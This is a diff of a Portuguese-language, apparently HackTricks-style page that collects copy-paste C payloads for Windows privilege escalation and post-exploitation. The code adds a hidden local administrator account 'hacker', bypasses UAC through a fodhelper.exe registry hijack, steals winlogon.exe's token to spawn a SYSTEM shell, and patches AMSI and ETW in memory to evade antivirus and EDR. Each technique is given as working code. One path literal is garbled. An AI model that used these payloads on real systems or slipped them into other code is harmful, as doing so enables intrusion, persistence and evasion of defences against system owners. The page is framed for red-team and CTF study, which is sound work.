Translated ['src/windows-hardening/windows-local-privilege-escalation/wi

src/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md

@@ -1,16 +1,160 @@
+# Windows C Payloads
+
 {{#include ../../banners/hacktricks-training.md}}
 
-# Adicionar usuário
-```c
-// i686-w64-mingw32-gcc -o scsiaccess.exe useradd.c
+Esta página coleta **pequenos trechos de C autônomos** que são úteis durante a Escalada de Privilégios Local no Windows ou pós-exploração. Cada payload é projetado para ser **amigável ao copiar e colar**, requer apenas a API do Windows / tempo de execução C, e pode ser compilado com `i686-w64-mingw32-gcc` (x86) ou `x86_64-w64-mingw32-gcc` (x64).
 
-#include <stdlib.h> /* system, NULL, EXIT_FAILURE */
-int main ()
-{
-int i;
+> ⚠️  Esses payloads assumem que o processo já possui os privilégios mínimos necessários para realizar a ação (por exemplo, `SeDebugPrivilege`, `SeImpersonatePrivilege` ou contexto de integridade média para um bypass de UAC). Eles são destinados a **configurações de red-team ou CTF** onde explorar uma vulnerabilidade resultou na execução de código nativo arbitrário.
+
+---
+
+## Adicionar usuário administrador local
+```c
+// i686-w64-mingw32-gcc -s -O2 -o addadmin.exe addadmin.c
+#include <stdlib.h>
+int main(void) {
 system("net user hacker Hacker123! /add");
 system("net localgroup administrators hacker /add");
 return 0;
 }
 ```
+---
+
+## UAC Bypass – `fodhelper.exe` Registro Hijack (Integridade Média → Alta)
+Quando o binário confiável **`fodhelper.exe`** é executado, ele consulta o caminho do registro abaixo **sem filtrar o verbo `DelegateExecute`**. Plantando nosso comando sob essa chave, um atacante pode contornar o UAC *sem* gravar um arquivo no disco.
+
+*Caminho do registro consultado por `fodhelper.exe`*
+```
+HKCU\Software\Classes\ms-settings\Shell\Open\command
+```
+Um PoC mínimo que abre um `cmd.exe` elevado:
+```c
+// x86_64-w64-mingw32-gcc -municode -s -O2 -o uac_fodhelper.exe uac_fodhelper.c
+#define _CRT_SECURE_NO_WARNINGS
+#include <windows.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+
+int main(void) {
+HKEY hKey;
+const char *payload = "C:\\Windows\\System32\\cmd.exe"; // change to arbitrary command
+
+// 1. Create the vulnerable registry key
+if (RegCreateKeyExA(HKEY_CURRENT_USER,
+"Software\\Classes\\ms-settings\\Shell\\Open\\command", 0, NULL, 0,
+KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
+
+// 2. Set default value => our payload
+RegSetValueExA(hKey, NULL, 0, REG_SZ,
+(const BYTE*)payload, (DWORD)strlen(payload) + 1);
+
+// 3. Empty "DelegateExecute" value = trigger (")
+RegSetValueExA(hKey, "DelegateExecute", 0, REG_SZ,
+(const BYTE*)"", 1);
+
+RegCloseKey(hKey);
+
+// 4. Launch auto-elevated binary
+system("fodhelper.exe");
+}
+return 0;
+}
+```
+*Testado no Windows 10 22H2 e Windows 11 23H2 (patches de julho de 2025). O bypass ainda funciona porque a Microsoft não corrigiu a verificação de integridade ausente no caminho `DelegateExecute`.*
+
+---
+
+## Criar shell SYSTEM via duplicação de token (`SeDebugPrivilege` + `SeImpersonatePrivilege`)
+Se o processo atual possui **ambos** os privilégios `SeDebug` e `SeImpersonate` (típico para muitas contas de serviço), você pode roubar o token de `winlogon.exe`, duplicá-lo e iniciar um processo elevado:
+```c
+// x86_64-w64-mingw32-gcc -O2 -o system_shell.exe system_shell.c -ladvapi32 -luser32
+#include <windows.h>
+#include <tlhelp32.h>
+#include <stdio.h>
+
+DWORD FindPid(const wchar_t *name) {
+PROCESSENTRY32W pe = { .dwSize = sizeof(pe) };
+HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+if (snap == INVALID_HANDLE_VALUE) return 0;
+if (!Process32FirstW(snap, &pe)) return 0;
+do {
+if (!_wcsicmp(pe.szExeFile, name)) {
+DWORD pid = pe.th32ProcessID;
+CloseHandle(snap);
+return pid;
+}
+} while (Process32NextW(snap, &pe));
+CloseHandle(snap);
+return 0;
+}
+
+int wmain(void) {
+DWORD pid = FindPid(L"winlogon.exe");
+if (!pid) return 1;
+
+HANDLE hProc   = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
+HANDLE hToken  = NULL, dupToken = NULL;
+
+if (OpenProcessToken(hProc, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &hToken) &&
+DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &dupToken)) {
+
+STARTUPINFOW si = { .cb = sizeof(si) };
+PROCESS_INFORMATION pi = { 0 };
+if (CreateProcessWithTokenW(dupToken, LOGON_WITH_PROFILE,
+L"C\\\Windows\\\System32\\\cmd.exe", NULL, CREATE_NEW_CONSOLE,
+NULL, NULL, &si, &pi)) {
+CloseHandle(pi.hProcess);
+CloseHandle(pi.hThread);
+}
+}
+if (hProc) CloseHandle(hProc);
+if (hToken) CloseHandle(hToken);
+if (dupToken) CloseHandle(dupToken);
+return 0;
+}
+```
+Para uma explicação mais profunda de como isso funciona, veja:
+{{#ref}}
+sedebug-+-seimpersonate-copy-token.md
+{{#endref}}
+
+---
+
+## Patch AMSI & ETW em Memória (Evasão de Defesa)
+A maioria dos motores AV/EDR modernos depende de **AMSI** e **ETW** para inspecionar comportamentos maliciosos. Fazer patch em ambas as interfaces cedo dentro do processo atual impede que payloads baseados em script (por exemplo, PowerShell, JScript) sejam escaneados.
+```c
+// gcc -o patch_amsi.exe patch_amsi.c -lntdll
+#define _CRT_SECURE_NO_WARNINGS
+#include <windows.h>
+#include <stdio.h>
+
+void Patch(BYTE *address) {
+DWORD oldProt;
+// mov eax, 0x80070057 ; ret  (AMSI_RESULT_E_INVALIDARG)
+BYTE patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
+VirtualProtect(address, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProt);
+memcpy(address, patch, sizeof(patch));
+VirtualProtect(address, sizeof(patch), oldProt, &oldProt);
+}
+
+int main(void) {
+HMODULE amsi  = LoadLibraryA("amsi.dll");
+HMODULE ntdll = GetModuleHandleA("ntdll.dll");
+
+if (amsi)  Patch((BYTE*)GetProcAddress(amsi,  "AmsiScanBuffer"));
+if (ntdll) Patch((BYTE*)GetProcAddress(ntdll, "EtwEventWrite"));
+
+MessageBoxA(NULL, "AMSI & ETW patched!", "OK", MB_OK);
+return 0;
+}
+```
+*O patch acima é local ao processo; iniciar um novo PowerShell após executá-lo será feito sem inspeção AMSI/ETW.*
+
+---
+
+## Referências
+* Ron Bowes – “Fodhelper UAC Bypass Deep Dive” (2024)
+* SplinterCode – “AMSI Bypass 2023: The Smallest Patch Is Still Enough” (BlackHat Asia 2023)
+
 {{#include ../../banners/hacktricks-training.md}}